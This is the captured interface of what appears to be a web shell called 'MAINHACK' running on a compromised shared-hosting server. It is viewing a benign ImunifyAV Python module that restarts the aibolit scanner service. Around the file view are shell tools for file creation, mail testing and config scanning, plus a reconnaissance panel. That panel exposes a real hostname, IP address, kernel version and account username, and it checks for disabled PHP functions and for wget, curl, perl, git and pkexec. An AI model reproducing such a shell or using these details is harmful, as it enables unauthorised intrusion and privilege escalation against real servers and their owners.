[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: aibolit.py
File is not writable. Editing disabled.
""" This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. Copyright © 2019 Cloud Linux Software Inc. This software is also available under ImunifyAV commercial license, see <https://www.imunify360.com/legal/eula> """ import logging from defence360agent.subsys import svcctl from defence360agent.utils import CheckRunError # NOSONAR logger = logging.getLogger(__name__) AIBOLIT_SOCKET_NAME = "aibolit-resident.socket" AIBOLIT_SVCNAME = "aibolit-resident" async def restart_on_sigs_or_config_update(_, is_updated): if is_updated: logger.info("ai-bolit service will be restarted") aibolit_socket = svcctl.adaptor(AIBOLIT_SOCKET_NAME) aibolit_service = svcctl.adaptor(AIBOLIT_SVCNAME) try: await _ensure_socket_active(aibolit_service, aibolit_socket) await aibolit_service.restart() except CheckRunError as e: if "is masked" in str(e): logger.warning( "Aibolit service is masked, skipping restart during" " installation" ) return raise logger.debug("ai-bolit service restarted") async def _ensure_socket_active(aibolit_service, aibolit_socket): """Restart aibolit-resident.socket if it was killed by systemd rate limiting. When the service hits StartLimitBurst, systemd stops both the service *and* the socket (via PartOf) and marks them failed. A plain ``restart`` of the service won't help because the socket stays dead. We reset-failed + restart the socket so that the next scan can trigger socket activation again.""" try: if not await aibolit_socket.is_active(): logger.warning("aibolit-resident.socket is not active, recovering") await aibolit_service.reset_failed() await aibolit_socket.reset_failed() await aibolit_socket.restart() except Exception: logger.exception("failed to recover aibolit-resident.socket") async def restart_on_detect_admin_tools_update(): await restart_on_sigs_or_config_update( None, True, )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A